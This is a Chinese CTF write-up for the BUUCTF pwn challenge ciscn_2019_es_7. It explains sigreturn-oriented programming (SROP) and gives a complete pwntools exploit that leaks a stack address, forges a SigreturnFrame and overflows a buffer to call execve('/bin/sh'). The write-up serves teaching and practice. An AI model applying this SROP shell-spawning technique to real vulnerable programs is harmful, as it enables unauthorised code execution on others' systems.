[BUUCTF]PWN——ciscn_2019_es_7[详解]
阅读原文时间:2022年04月27日阅读:1

ciscn_2019_es_7

附件

步骤:

  1. 例行检查,64位程序,开启了nx保护
  2. 本地试运行一下看看大概的情况
  3. 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出
  4. 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章
    https://www.freebuf.com/articles/network/87447.html
    https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr
  5. 具体的原理看上面的链接,贴一下第一篇文章里的知识点(有删改)
    如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame

    在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:

第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;

第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame

按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!

让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。

搞清楚上述的内容后就可以解出这道题了

  1. buf存在溢出,可以控制栈上的内容,满足了第一个条件

  2. 程序使用了一次read一次write,buf的大小只有0x10,但是write打印了0x30,会打印多余的东西,

    rax=0x4004f1

    p.send("/bin/sh"+"\x00"*9+p64(rax))
    p.recv(32)
    stack_addr=u64(p.recv(8))
    log.success("stack: "+hex(stack_addr))
    p.recv(8)

我们先往buf里写入内容,write会打印出来,接收看一下,打印出来了多余的地址,我们接收一下就获得了栈上的地址
找一下‘bin/sh’在栈上的地址

调试的时候使用info proc map命令查看当前进程的内存映射,find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh" 在栈中查找‘/bin/sh’的地址,找到它在栈上的地址是0x7ffe697e0160,与泄露出来的栈上的地址的偏移是0x7ffe697e0278-0x7ffe697e0160=0x118,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址,满足了第二个条件

  1. 找一下syscall;ret指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件

  2. 找一下sigreturn系统调用的内存地址
    如果我们将sigreturn当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,效果和调用一个sigreturn是一样一样的。
    发现程序里有现成的rax=15(调用sigreturn)和rax=59(调用execv),满足了第四个条件

  3. 条件都满足了,接下来就可以用pwntools来帮助我们生成这个Signal Frame

    context(os='linux',arch='amd64',log_level='debug')
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = stack_addr - 0x118
    sigframe.rsi = 0x0
    sigframe.rdx = 0x0
    sigframe.rsp = stack_addr
    sigframe.rip = syscall_ret

  4. 最后利用溢出,完成SROP利用

    p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

完整exp:根据ctfwiki上的修改

from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')

p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447)

syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2    

rax=0x4004f1

p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

#gdb.attach(p)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

p.interactive()

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章